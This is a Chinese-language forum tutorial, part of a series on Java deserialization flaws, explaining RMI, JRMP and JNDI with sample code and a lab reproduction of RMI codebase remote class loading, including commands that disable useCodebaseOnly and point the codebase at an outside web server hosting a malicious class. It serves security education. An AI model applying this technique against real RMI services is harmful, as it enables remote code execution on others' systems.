標題:Java反序列化漏洞系列-3

taibeihacker

Moderator

反序列化攻击涉及到的相关协议​

RMI 和JNDI 都是Java 分佈式中運用較多的技術,JRMP 遠程消息交換協議,運行於Java RMI 之下,是一種底層傳輸協議。
如果拿Web 應用來舉例子,那麼RMI 就像是HTTP 協議,JNDI 就像是Apache HTTP Server,JRMP 則相當於TCP 協議。 HTTP 向後端請求文件,後端中間件實際上不止Apache 一種,還可以是IIS、Tomcat 等,而底層都是基於TCP 協議來傳輸數據的。

1 RMI​

1.1 RMI 原理​

RMI 全稱是Remote Method Invocation,遠程方法調用。其的⽬標和RPC 類似的,是讓某個Java 虛擬機上的對象調用另一個Java 虛擬機中對像上的方法。
整個過程有三個組織參與:Client、Registry(註冊中心)、Server。
202108300915504.png-water_print

RMI的傳輸是基於反序列化的。
對於任何一個以對象為參數的RMI 接口,構建對象,使服務器端將其按任何一個存在於服務端classpath 中的可序列化類來反序列化恢復對象。
RMI 涉及到參數的傳遞和執行結果的返回。參數或者返回值可以是基本數據類型,當然也有可能是對象的引用。所以這些需要被傳輸的對象必須可以被序列化,這要求相應的類必須實現java.io.Serializable 接口,並且客戶端的serialVersionUID 字段要與服務器端保持一致。
問題
什麼是Stub?
每個遠程對像都包含一個代理對象Stub,當運行在本地Java 虛擬機上的程序調用運行在遠程Java 虛擬機上的對象方法時,它首先在本地創建該對象的代理對象Stub,然後調用代理對像上匹配的方法。
Stub 對象負責調用參數和返回值的流化(Serialization)、打包解包,以及網絡層的通訊過程。
什麼是Skeleton?
每一個遠程對象同時也包含一個Skeleton 對象,Skeleton 運行在遠程對象所在的虛擬機上,接受來自stub 對象的調用。
RMI 中的基本操作:
lookup
bind
unbind
list
rebind

1.2 模拟 Java RMI 利用过程​

1.2.1 RMI Server​

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
package com.geekby.javarmi;
import java.rmi.Naming;
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.server.UnicastRemoteObject;
public class RMIServer {
public interface IRemoteHelloWorld extends Remote {
public String hello() throws RemoteException;
}
public class RemoteHelloWorld extends UnicastRemoteObject implements RMIServer.IRemoteHelloWorld {
protected RemoteHelloWorld() throws RemoteException {
super();
}
@Override
public String hello() throws RemoteException {
return 'Hello World';
}
}
private void start() throws Exception {
RemoteHelloWorld h=new RemoteHelloWorld();
//創建並運行RMI Registry
LocateRegistry.createRegistry(1099);
//將RemoteHelloWorld 對象綁定到Hello 這個名字上
Naming.rebind('rmi://127.0.0.1:1099/Hello', h);
}
public static void main(String[] args) throws Exception {
new RMIServer().start();
}
}
上面提到過,⼀個RMI Server 分為三部分:
⼀個繼承了 java.rmi.Remote 的接口,其中定義要遠程調⽤的函數,⽐如上面的hello()
⼀個實現了此接⼝的類
⼀個主類,⽤來創建Registry,並將上面的類實例化後綁定到一個地址,即Server。
在上面的示例代碼裡,將Registry 與Server 合併到一起。
Naming.bind 的第一個參數是一個URL,形如:rmi://host:port/name 。其中, host 和port 就是RMI Registry 的地址和端口,name 是遠程對象的名字。
資訊
如果RMI Registry 在本地運行,那麼host 和port 是可以省略的,此時host 默認是localhost,port 默認是1099。
1
Naming.bind('Hello', newRemoteHelloWorld());

1.2.2 RMI Client​

1
2
3
4
5
6
7
8
9
10
11
package com.geekby.javarmi;
import java.rmi.Naming;
public class RMIClient {
public static void main(String[] args) throws Exception {
RMIServer.IRemoteHelloWorld hello=(RMIServer.IRemoteHelloWorld) Naming.lookup('rmi://127.0.0.1:1099/Hello');
String ret=hello.hello();
System.out.println(ret);
}
}
客戶端使用Naming.lookup 在Registry 中尋找到名字是Hello 的對象,後⾯的使⽤用就和在本地使用是一致的。
雖然執⾏遠程⽅法的時候代碼是在遠程服務器上執行的,但客戶端還是需要知道有哪些⽅法,這時候接口的重要性就體現了,這也是為什麼我們前面要繼承Remote 並將需要調⽤的方法寫在接⼝ IRemoteHelloWorld 里,因為客戶端也需要⽤到這個接⼝。
通過wireshark 抓包,觀察通信過程:
202108301121624.png-water_print

整個過程進⾏了兩次TCP 握手,也就是實際建⽴了兩次TCP 連接。
第⼀次建立TCP 連接是客戶端連接服務端的1099 端⼝,⼆者進行協商後,客戶端向服務端發送了⼀個Call 消息,服務端回復了一個ReturnData 消息,然後客戶端新建了⼀個TCP 連接,連到遠端的51388 端口。
202108301136646.png-water_print

202108301137769.png-water_print

202108301138158.png-water_print

整個過程,⾸先客戶端連接Registry,並在其中尋找Name 是Hello 的對象,這個對應數據流中的Call 消息。然後,Registry 返回一個序列化的數據,就是找到的Name=Hello 的對象,對應數據流中的ReturnData 消息。客戶端反序列化該對象,發現該對像是⼀個遠程對象,地址在IP:port ,於是再與這個socket 地址建⽴ TCP 連接。在新的連接中,才是真正的執行遠程⽅法,也就是hello()。
資訊
RMI Registry 就像一個⽹關,其自身是不會執行遠程方法的,但RMI Server 可以在上⾯註冊⼀個Name 到對象的綁定關係。 RMI Client 通過Name 向RMI Registry 查詢,得到這個綁定關係,然後再連接RMI Server。最後,遠程方法實際上在RMI Server 上調⽤。

1.3 攻击面​

當攻擊者可以訪問目標RMI Registry 的時候,會有哪些安全問題呢?
首先,RMI Registry 是一個遠程對像管理的地方,可以理解為一個遠程對象的“後台”。可以嘗試直接訪問“後台”功能,比如修改遠程服務器上Hello 對應的對象,但是,Java 對遠程訪問RMI Registry 做了限制,只有來源地址是localhost 的時候,才能調用rebind、 bind、unbind 等方法。
不過,list 和lookup 方法可以遠程調用。
202108301525660.png-water_print

1.3.1 RMI 利用 codebase 执行任意代码​

曾經有段時間,Java 是可以運行在瀏覽器中的。在使用Applet 的時候通常需要指定一個codebase 屬性,比如:
1
applet code='HelloWorld.class' codebase='Applets' width='800' height='600' /applet
除了Applet,RMI 中也存在遠程加載的場景,也會涉及到codebase。 codebase 是一個地址,告訴Java 虛擬機該從哪個地方去搜索類。
如果指定codebase=http://geekby.site/,然後加載org.example.Example 類,則Java 虛擬機會下載這個文件http://geekby.site/org/example/Example.class ,並作為Example 類的字節碼。
RMI 的流程中,客戶端和服務端之間傳遞的是一些序列化後的對象,這些對像在反序列化時,就會去尋找類。如果某一端反序列化時發現一個對象,那麼就會去自己的CLASSPATH 下尋找相對應的類;如果在本地沒有找到這個類,就會去遠程加載codebase 中的類。
如果codebase 被控制,就可以加載惡意類。在RMI 中,可以將codebase 隨著序列化數據一起傳輸的,服務器在接收到這個數據後就會去CLASSPATH 和指定的codebase 尋找類,由於codebase 被控制導致任意命令執行漏洞。
官方通過如下方式解決了該安全問題:
安裝並配置了SecurityManager
Java 版本低於7u21、6u45,或者設置了java.rmi.server.useCodebaseOnly
官方將java.rmi.server.useCodebaseOnly 的默認值由false 改為了true 。在java.rmi.server.useCodebaseOnly 配置為true 的情況下,Java 虛擬機將只信任預先配置好的codebase ,不再支持從RMI 請求中獲取。
通過創建4 個文件,進行漏洞復現:
ICalc.java
1
2
3
4
5
6
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.util.List;
public interface ICalc extends Remote {
public Integer sum(ListInteger params) throws RemoteException;
}
Calc.java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
import java.rmi.RemoteException;
import java.util.List;
import java.rmi.server.UnicastRemoteObject;
public class Calc extends UnicastRemoteObject implements ICalc {
public Calc() throws RemoteException {}
public Integer sum(ListInteger params) throws RemoteException {
Integer sum=0;
for (Integer param : params) {
sum +=param;
}
return sum;
}
}
RemoteRMIServer.java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import java.rmi.Naming;
import java.rmi.registry.LocateRegistry;
public class RemoteRMIServer {
private void start() throws Exception {
if (System.getSecurityManager()==null) {
System.out.println('setup SecurityManager');
System.setSecurityManager(new SecurityManager());
}
Calc h=new Calc();
LocateRegistry.createRegistry(1099);
Naming.rebind('refObj', h);
}
public static void main(String[] args) throws Exception {
new RemoteRMIServer().start();
}
}
Client.policy
1
2
3
grant {
permission java.security.AllPermission;
};
編譯及運行:
1
2
javac *.java
java -Djava.rmi.server.hostname=10.28.178.250 -Djava.rmi.server.useCodebaseOnly=false -Djava.security.policy=client.policy RemoteRMIServer
RMIClient.java:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import java.rmi.Naming;
import java.util.List;
import java.util.ArrayList;
import java.io.Serializable;
public class RMIClient implements Serializable {
public class Payload extends ArrayListInteger {}
public void lookup() throws Exception {
ICalc r=(ICalc)
Naming.lookup('rmi://10.28.178.250:1099/refObj');
ListInteger li=new Payload();
li.add(3);
li.add(4);
System.out.println(r.sum(li));
}
public static void main(String[] args) throws Exception {
new RMIClient().lookup();
} }
這個Client 需要在另一個位置運行,需要讓RMI Server 在本地CLASSPATH 裡找不到類,才會去加載codebase 中的類,所以不能將RMIClient.java 放在RMI Server 所在的目錄中。
運行RMIClient:
1
java -Djava.rmi.server.useCodebaseOnly=false -Djava.rmi.server.codebase=http://example.com/RMIClient
只需要編譯一個惡意類,將其class 文件放置在Web 服務器的/RMIClient$Payload.class 即可。

2 JNDI​

JNDI (Java Naming and Directory Interface) ,包括Naming Service 和Directory Service。 JNDI 是Java API,允许客户端通过名称发现和查找数据、对象。這些對象可以存儲在不同的命名或目錄服務中,例如遠程方法調用(RMI),公共對象請求代理體系結構(CORBA),輕型目錄訪問協議(LDAP)或域名服務(DNS)。

2.1 JNDI 组成​

Nameing Service
命名服務,命名服務將命名名稱和對象進行關聯,提供通過名稱找到對象的操作
Name
名稱,要在命名系統中查找對象,需要提供對象的名稱
Binding
綁定,一個名稱和一個對象的關鏈稱為一個綁定
Reference
引用,在一些命名服務系統中,系統並不是直接將對象存儲在系統中,而是保持對象的引用
上下文
上下文,一個上下文是一系列名稱和對象的綁定的集合

参考​

Java 中RMI、JNDI、LDAP、JRMP、JMX、JMS那些事兒
phith0n Java 漫談系列
 
返回
上方